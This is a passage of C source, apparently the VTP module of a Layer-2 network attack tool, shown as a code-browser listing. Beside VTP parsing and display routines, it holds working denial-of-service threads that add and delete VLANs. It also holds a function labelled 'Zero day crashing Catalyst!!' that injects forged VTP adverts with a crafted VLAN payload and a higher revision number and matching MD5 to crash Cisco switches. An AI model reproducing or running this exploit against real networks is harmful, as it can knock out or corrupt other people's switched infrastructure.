909 
910     return 0;
911 }
912 
913 
914 
915 
vtp_th_dos_del_exit(struct attacks * attacks)916 void vtp_th_dos_del_exit( struct attacks *attacks )
917 {
918     attack_th_exit(attacks);
919 
920     pthread_mutex_unlock(&attacks->attack_th.finished);
921 
922     pthread_exit(NULL);
923 }
924 
925 
926 /*
927  * Add 1 VTP vlan
928  */
929 void
vtp_th_dos_add(void * arg)930 vtp_th_dos_add(void *arg)
931 {
932     struct attacks *attacks = (struct attacks *)arg;
933     sigset_t mask;
934 
935     pthread_mutex_lock(&attacks->attack_th.finished);
936 
937     pthread_detach(pthread_self());
938 
939     sigfillset(&mask);
940 
941     if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
942     {
943        thread_error("vtp_th_dos_del pthread_sigmask()",errno);
944        vtp_th_dos_add_exit(attacks);
945     }
946 
947     vtp_modify_vlan(VTP_VLAN_ADD,attacks);
948 
949     vtp_th_dos_add_exit(attacks);
950 }
951 
952 
vtp_th_dos_add_exit(struct attacks * attacks)953 void vtp_th_dos_add_exit( struct attacks *attacks )
954 {
955     attack_th_exit(attacks);
956 
957     pthread_mutex_unlock(&attacks->attack_th.finished);
958 
959     pthread_exit(NULL);
960 }
961 
962 /*
963  * Zero day crashing Catalyst!!
964  */
vtp_th_dos_crash(void * arg)965 void vtp_th_dos_crash( void *arg )
966 {
967     struct attacks *attacks = (struct attacks *)arg;
968     struct vtp_data *vtp_data, vtp_data_learned;
969     struct pcap_pkthdr header;
970     struct pcap_data pcap_aux;
971     struct libnet_802_3_hdr *ether;
972     struct timeval now;
973     u_int8_t *packet=NULL;
974     sigset_t mask;
975     /* Cisco vlans for crashing */
976     u_int8_t vlan_cisco[]={ 0x75, 0x00, 0x01, 0x07, 0x20, 0x00, 0x02, 0x0c,
977                             0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a,
978                             0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66,
979                             0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00,
980                             0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12,
981                             0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b,
982                             0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69,
983                             0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75,
984                             0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
985                             0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f,
986                             0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c,
987                             0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d,
988                             0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00,
989                             0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01,
990                             0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc,
991                             0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65,
992                             0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c,
993                             0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00,
994                             0x03, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
995                             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
996                             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
997                             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
998                             0x00, 0x00, 0x00, 0x00, 0xf1, 0x00, 0x00, 0x00,
999                             0x00, 0x00, 0x0c, 0x20 };
1000 
1001     sigfillset(&mask);
1002 
1003     if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
1004     {
1005        thread_error("vtp_th_dos_del_all pthread_sigmask()",errno);
1006        vtp_th_dos_crash_exit(attacks);
1007     }
1008 
1009     vtp_data = attacks->data;
1010 
1011     gettimeofday(&now, NULL);
1012 
1013     header.ts.tv_sec = now.tv_sec;
1014     header.ts.tv_usec = now.tv_usec;
1015 
1016     if ((packet = calloc(1, SNAPLEN)) == NULL)
1017         vtp_th_dos_crash_exit(attacks);
1018 
1019 
1020     while (!attacks->attack_th.stop)
1021     {
1022         memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
1023         interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT);
1024 
1025         if (attacks->attack_th.stop)
1026            break;
1027 
1028         ether = (struct libnet_802_3_hdr *) packet;
1029 
1030         if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
1031           continue; /* Oops!! Its our packet... */
1032 
1033         pcap_aux.header = &header;
1034         pcap_aux.packet = packet;
1035 
1036         if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
1037            continue;
1038 
1039         if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
1040              && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
1041            continue;
1042 
1043         if (vtp_generate_md5( NULL,
1044                               vtp_data->updater,
1045                               (vtp_data_learned.revision+1),
1046                               vtp_data_learned.domain,
1047                               vtp_data_learned.dom_len,
1048                               vlan_cisco,
1049                               sizeof(vlan_cisco),
1050                               vtp_data->md5,
1051                               vtp_data_learned.version) < 0)
1052            break;
1053 
1054         vtp_data->code = VTP_SUMM_ADVERT;
1055         vtp_data->followers = 1;
1056         if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
1057         {
1058             vtp_data->dom_len = VTP_DOMAIN_SIZE;
1059             memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
1060         }
1061         else
1062         {
1063             vtp_data->dom_len = vtp_data_learned.dom_len;
1064             memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
1065         }
1066         vtp_data->revision = vtp_data_learned.revision+1;
1067 
1068         usleep(200000);
1069         if (vtp_send(attacks)< 0)
1070            break;
1071         usleep(200000);
1072 
1073         vtp_data->code = VTP_SUBSET_ADVERT;
1074         vtp_data->seq = 1;
1075 
1076         vtp_data->vlan_info = vlan_cisco;
1077         vtp_data->vlans_len = sizeof(vlan_cisco);
1078         vtp_send(attacks);
1079 
1080         break;
1081     }
1082 
1083     free(packet);
1084 
1085     vtp_th_dos_crash_exit(attacks);
1086 }
1087 
1088 
1089 void
vtp_th_dos_crash_exit(struct attacks * attacks)1090 vtp_th_dos_crash_exit(struct attacks *attacks)
1091 {
1092     attack_th_exit(attacks);
1093 
1094     pthread_mutex_unlock(&attacks->attack_th.finished);
1095 
1096     pthread_exit(NULL);
1097 }
1098 
1099 
1100 int8_t
vtp_init_attribs(struct term_node * node)1101 vtp_init_attribs(struct term_node *node)
1102 {
1103     struct vtp_data *vtp_data;
1104 
1105     vtp_data = node->protocol[PROTO_VTP].tmp_data;
1106 
1107     attack_gen_mac(vtp_data->mac_source);
1108 
1109     vtp_data->mac_source[0] &= 0x0E;
1110 
1111     parser_vrfy_mac("01:00:0c:cc:cc:cc",vtp_data->mac_dest);
1112 
1113     vtp_data->version = VTP_DFL_VERSION;
1114 
1115     memcpy(vtp_data->domain, VTP_DFL_DOMAIN,sizeof(VTP_DFL_DOMAIN));
1116 
1117     vtp_data->dom_len = VTP_DFL_DOM_LEN;
1118 
1119     vtp_data->code = VTP_DFL_CODE;
1120 
1121     vtp_data->start_val = 1;
1122 
1123     vtp_data->revision = 1;
1124 
1125     vtp_data->followers = 1;
1126 
1127     vtp_data->seq = 1;
1128 
1129     vtp_data->updater = ntohl(inet_addr("10.13.58.1"));
1130 
1131     return 0;
1132 }
1133 
1134 
vtp_learn_packet(struct attacks * attacks,char * iface,u_int8_t * stop,void * data,struct pcap_pkthdr * header)1135 int8_t vtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header)
1136 {
1137     struct vtp_data *vtp_data = (struct vtp_data *)data;
1138     struct interface_data *iface_data;
1139     struct pcap_data pcap_aux;
1140     u_int8_t *packet, got_vtp_packet = 0;
1141     int8_t ret = -1 ;
1142     dlist_t *p;
1143 
1144     if (iface)
1145     {
1146         p = dlist_search( attacks->used_ints->list, attacks->used_ints->cmp, iface );
1147         if ( !p )
1148             return -1;
1149 
1150         iface_data = (struct interface_data *) dlist_data(p);
1151     }
1152     else
1153         iface_data = NULL;
1154 
1155     packet = (u_int8_t *)calloc( 1, SNAPLEN );
1156 
1157     if ( packet )
1158     {
1159         while ( !got_vtp_packet && !(*stop) )
1160         {
1161             interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_VTP, NO_TIMEOUT );
1162 
1163             if ( ! (*stop) )
1164             {
1165                 pcap_aux.header = header;
1166                 pcap_aux.packet = packet;
1167 
1168                 if ( !vtp_load_values( (struct pcap_data *)&pcap_aux, vtp_data ) )
1169                 {
1170                     got_vtp_packet = 1;
1171                     ret = 0 ;
1172                 }
1173             }
1174         }
1175 
1176         free( packet );
1177     }
1178 
1179     return ret ;
1180 }
1181 
1182 
1183 /*
1184  * Return formated strings of each VTP field
1185  */
1186 char **
vtp_get_printable_packet(struct pcap_data * data)1187 vtp_get_printable_packet(struct pcap_data *data)
1188 {
1189     struct libnet_802_3_hdr *ether;
1190     u_int8_t *vtp_data, *ptr, *code;
1191     u_int32_t *aux_long;
1192     u_int16_t *aux_short;
1193 #ifdef LBL_ALIGN
1194     u_int32_t aux_long2;
1195     u_int8_t *aux2;
1196 #endif
1197     char **field_values;
1198 
1199     if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) {
1200         thread_error("vtp_get_rpintable calloc()",errno);
1201         return NULL;
1202     }
1203 
1204     ether = (struct libnet_802_3_hdr *) data->packet;
1205     vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
1206 
1207     /* Source MAC */
1208     snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1209        ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
1210        ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
1211     /* Destination MAC */
1212     snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1213        ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2],
1214        ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]);
1215 
1216     ptr = vtp_data;
1217 
1218     /* VTP Version */
1219     snprintf(field_values[VTP_VERSION], 3, "%02X", *ptr);
1220 
1221     ptr++;
1222     code = ptr;
1223 
1224     snprintf(field_values[VTP_CODE], 3, "%02X", *code);
1225 
1226     /* VTP code */
1227     if (*code == VTP_SUMM_ADVERT)
1228        snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", *(ptr+1));
1229 
1230     if (*code == VTP_SUBSET_ADVERT)
1231        snprintf(field_values[VTP_SEQ], 4, "%03d", *(ptr+1));
1232 
1233     ptr+=2;
1234 
1235     if (*ptr < 24)/*VTP_DOMAIN_SIZE )*/
1236     {
1237        memcpy(field_values[VTP_DOMAIN], (ptr+1), *ptr);
1238        field_values[VTP_DOMAIN][*ptr]=0;
1239     }
1240     else
1241     {
1242        memcpy(field_values[VTP_DOMAIN], (ptr+1), 24);
1243        field_values[VTP_DOMAIN][24]=0;
1244        field_values[VTP_DOMAIN][23]='|';
1245     }
1246 
1247     ptr+=33;
1248 
1249     aux_long = (u_int32_t *)ptr;
1250 
1251     switch(*code)
1252     {
1253        case VTP_SUMM_ADVERT:
1254             snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long));
1255               aux_long++;
1256 
1257 #ifdef LBL_ALIGN
1258     memcpy((void *)&aux_long2, (void *)aux_long,4);
1259     aux2 = libnet_addr2name4(aux_long2, LIBNET_DONT_RESOLVE);
1260     strncpy(field_values[VTP_UPDATER],aux2,16);
1261 #else
1262     /* Source IP */
1263     strncpy(field_values[VTP_UPDATER], libnet_addr2name4(*aux_long, LIBNET_DONT_RESOLVE),
1264             16);
1265 #endif
1266               aux_long++;
1267             memcpy(field_values[VTP_TIMESTAMP],(void *)aux_long, 12);
1268               aux_long+=3;
1269               ptr = (u_int8_t *)aux_long;
1270             snprintf(field_values[VTP_MD5], 24, "%02X%02X%02X%02X%02X%02X%02X%02X|",
1271                       *ptr, *(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4), *(ptr+5), *(ptr+6),*(ptr+7));/*,*(ptr+8)),*(ptr+9), *(ptr+10));
1272                       *(ptr+11),*(ptr+12),*(ptr+13),*(ptr+14),*(ptr+15));*/
1273        break;
1274 
1275        case VTP_SUBSET_ADVERT:
1276             snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long));
1277             field_values[VTP_MD5][0]=0;
1278             field_values[VTP_UPDATER][0] = 0;
1279        break;
1280 
1281        case VTP_JOIN:
1282             field_values[VTP_MD5][0] = 0;
1283             field_values[VTP_REVISION][0] = 0;
1284             field_values[VTP_UPDATER][0] = 0;
1285        break;
1286 
1287        case VTP_REQUEST:
1288             aux_short = (u_int16_t *)aux_long;
1289             snprintf(field_values[VTP_STARTVAL], 6, "%05hd", ntohs(*aux_short));
1290             field_values[VTP_MD5][0] = 0;
1291             field_values[VTP_REVISION][0] = 0;
1292             field_values[VTP_UPDATER][0] = 0;
1293        break;
1294     }
1295 
1296     return field_values;
1297 }
1298 
1299 
1300 char **
vtp_get_printable_store(struct term_node * node)1301 vtp_get_printable_store(struct term_node *node)
1302 {
1303     struct vtp_data *vtp_tmp;
1304     char **field_values;
1305 
1306     /* smac + dmac + version + code + domain + md5 + updater + revision +
1307      * timestamp + startval + followers + null = 12
1308      */
1309 
1310     if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) {
1311         write_log(0, "Error in calloc\n");
1312         return NULL;
1313     }
1314 
1315     if (node == NULL)
1316         vtp_tmp = protocols[PROTO_VTP].default_values;
1317     else
1318         vtp_tmp = (struct vtp_data *) node->protocol[PROTO_VTP].tmp_data;
1319 
1320     /* Source MAC */
1321     snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1322        vtp_tmp->mac_source[0], vtp_tmp->mac_source[1], vtp_tmp->mac_source[2],
1323        vtp_tmp->mac_source[3], vtp_tmp->mac_source[4], vtp_tmp->mac_source[5]);
1324 
1325     /* Destination MAC */
1326     snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1327              vtp_tmp->mac_dest[0], vtp_tmp->mac_dest[1], vtp_tmp->mac_dest[2],
1328              vtp_tmp->mac_dest[3], vtp_tmp->mac_dest[4], vtp_tmp->mac_dest[5]);
1329 
1330     snprintf(field_values[VTP_VERSION], 3, "%02X", vtp_tmp->version);
1331 
1332     snprintf(field_values[VTP_CODE], 3, "%02X", vtp_tmp->code);
1333 
1334     memcpy(field_values[VTP_DOMAIN], vtp_tmp->domain, VTP_DOMAIN_SIZE);
1335 
1336     snprintf(field_values[VTP_MD5], 33, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
1337         vtp_tmp->md5[0],vtp_tmp->md5[1],vtp_tmp->md5[2],
1338         vtp_tmp->md5[3],vtp_tmp->md5[4],vtp_tmp->md5[5],
1339         vtp_tmp->md5[6],vtp_tmp->md5[7],vtp_tmp->md5[8],
1340         vtp_tmp->md5[9],vtp_tmp->md5[10],vtp_tmp->md5[11],
1341         vtp_tmp->md5[12],vtp_tmp->md5[13],vtp_tmp->md5[14],
1342         vtp_tmp->md5[15]);
1343 
1344     parser_get_formated_inet_address(vtp_tmp->updater, field_values[VTP_UPDATER], 16);
1345 
1346     snprintf(field_values[VTP_REVISION], 11, "%010u", vtp_tmp->revision);
1347 
1348     memcpy(field_values[VTP_TIMESTAMP], vtp_tmp->timestamp, 12);
1349 
1350     snprintf(field_values[VTP_STARTVAL], 6, "%05hd", vtp_tmp->start_val);
1351 
1352     snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", vtp_tmp->followers);
1353 
1354     snprintf(field_values[VTP_SEQ], 4, "%03d", vtp_tmp->seq);
1355 
1356     return field_values;
1357 }
1358 
1359 
1360 /*
1361  * Load values from packet to data.
1362  */
1363 int8_t
vtp_load_values(struct pcap_data * data,void * values)1364 vtp_load_values(struct pcap_data *data, void *values)
1365 {
1366     struct libnet_802_3_hdr *ether;
1367     struct vtp_data *vtp;
1368     u_int8_t *vtp_data, *ptr;
1369     u_int32_t *aux_long;
1370     u_int16_t *aux_short;
1371 #ifdef LBL_ALIGN
1372     u_int32_t aux_long2;
1373     u_int16_t *aux_short2;
1374 #endif
1375     vtp = (struct vtp_data *)values;
1376     ether = (struct libnet_802_3_hdr *) data->packet;
1377     vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
1378 
1379     /* Source MAC */
1380     memcpy(vtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN);
1381     /* Destination MAC */
1382     memcpy(vtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN);
1383 
1384     ptr = vtp_data;
1385 
1386     if ( (ptr+sizeof(struct vtp_request)) > (data->packet + data->header->caplen))
1387         return -1; /* Undersized packet...*/
1388 
1389     /* VTP Version */
1390     vtp->version = *ptr;
1391     ptr++;
1392 
1393     /* VTP code */
1394     vtp->code = *ptr;
1395     ptr++;
1396 
1397     switch (vtp->code)
1398     {
1399        case VTP_SUMM_ADVERT:
1400           vtp->followers = *ptr;
1401        break;
1402        case VTP_SUBSET_ADVERT:
1403           vtp->seq = *ptr;
1404        break;
1405     }
1406 
1407     ptr++;
1408 
1409     if (*ptr < VTP_DOMAIN_SIZE )
1410     {
1411        vtp->dom_len = *ptr;
1412        memcpy(vtp->domain, (ptr+1), *ptr);
1413        vtp->domain[*ptr]=0;
1414     }
1415     else
1416     {
1417        vtp->dom_len = VTP_DOMAIN_SIZE;
1418        memcpy(vtp->domain, (ptr+1), VTP_DOMAIN_SIZE);
1419        vtp->domain[VTP_DOMAIN_SIZE]= '\0';
1420     }
1421 
1422     ptr+=33;
1423     aux_long = (u_int32_t *)ptr;
1424 
1425     switch(vtp->code)
1426     {
1427        case VTP_SUMM_ADVERT:
1428 #ifdef LBL_ALIGN
1429             memcpy((void *)&aux_long2, (void *)aux_long, 4);
1430             vtp->revision = ntohl(aux_long2);
1431 #else
1432             vtp->revision = ntohl(*aux_long);
1433 #endif
1434               aux_long++;
1435 #ifdef LBL_ALIGN
1436             memcpy((void *)&aux_long2, (void *)aux_long, 4);
1437             vtp->updater = ntohl(aux_long2);
1438 #else
1439             vtp->updater = ntohl(*aux_long);
1440 #endif
1441               aux_long++;
1442             memcpy(vtp->timestamp,(void *)aux_long, 12);
1443               aux_long+=3;
1444             memcpy(vtp->md5, (void *)aux_long,16);
1445        break;
1446 
1447        case VTP_SUBSET_ADVERT:
1448 #ifdef LBL_ALIGN
1449             memcpy((void *)&aux_long2, (void *)aux_long, 4);
1450             vtp->revision = ntohl(aux_long2);
1451 #else
1452             vtp->revision = ntohl(*aux_long);
1453 #endif
1454             vtp->vlans_len = (data->packet + data->header->caplen) - (ptr+4);
1455             vtp->vlan_info = (ptr+4);
1456        break;
1457 
1458        case VTP_REQUEST:
1459             aux_short = (u_int16_t *)ptr;
1460 #ifdef LBL_ALIGN
1461             memcpy((void *)&aux_short2, (void *)aux_short, 4);
1462             vtp->start_val = ntohs(aux_short2);
1463 #else
1464             vtp->start_val = ntohs(*aux_short);
1465 #endif
1466        break;
1467 
1468        case VTP_JOIN:
1469        break;
1470     }
1471 
1472     return 0;
1473 }
1474 
1475 
1476 int8_t
vtp_update_field(int8_t state,struct term_node * node,void * value)1477 vtp_update_field(int8_t state, struct term_node *node, void *value)
1478 {
1479     struct vtp_data *vtp_data;
1480     u_int16_t len;
1481 
1482     if (node == NULL)
1483        vtp_data = protocols[PROTO_VTP].default_values;
1484     else
1485        vtp_data = node->protocol[PROTO_VTP].tmp_data;
1486 
1487     switch(state)
1488     {
1489         /* Source MAC */
1490         case VTP_SMAC:
1491            memcpy((void *)vtp_data->mac_source, (void *)value, ETHER_ADDR_LEN);
1492         break;
1493 
1494         /* Destination MAC */
1495         case VTP_DMAC:
1496            memcpy((void *)vtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN);
1497         break;
1498 
1499         /* Version */
1500         case VTP_VERSION:
1501        vtp_data->version = *(u_int8_t *)value;
1502         break;
1503 
1504         /* Code */
1505         case VTP_CODE:
1506        vtp_data->code = *(u_int8_t *)value;
1507         break;
1508 
1509         /* Followers */
1510         case VTP_FOLLOWERS:
1511        vtp_data->followers = *(u_int8_t *)value;
1512         break;
1513 
1514         /* Seq */
1515         case VTP_SEQ:
1516        vtp_data->seq = *(u_int8_t *)value;
1517         break;
1518 
1519         /* Domain */
1520         case VTP_DOMAIN:
1521            len = strlen(value);
1522            strncpy(vtp_data->domain, value, (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len);
1523            vtp_data->dom_len = (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len;
1524         break;
1525 
1526         /* Start value */
1527         case VTP_STARTVAL:
1528            vtp_data->start_val = *(u_int16_t *)value;
1529         break;
1530 
1531         /* Revision */
1532         case VTP_REVISION:
1533            vtp_data->revision = *(u_int32_t *)value;
1534         break;
1535 
1536         /* Updater */
1537         case VTP_UPDATER:
1538            vtp_data->updater = *(u_int32_t *)value;
1539         break;
1540 
1541         /* Timestamp */
1542         case VTP_TIMESTAMP:
1543            len = strlen(value);
1544            strncpy((char *)vtp_data->timestamp, value, (len > VTP_TIMESTAMP_SIZE) ? VTP_TIMESTAMP_SIZE : len);
1545         break;
1546 
1547         /* MD5 */
1548         case VTP_MD5:
1549            memcpy((void *)vtp_data->md5, (void *)value, 16);
1550         break;
1551     }
1552 
1553     return 0;
1554 }
1555 
1556 
1557 int8_t
vtp_end(struct term_node * node)1558 vtp_end(struct term_node *node)
1559 {
1560    return 0;
1561 }
1562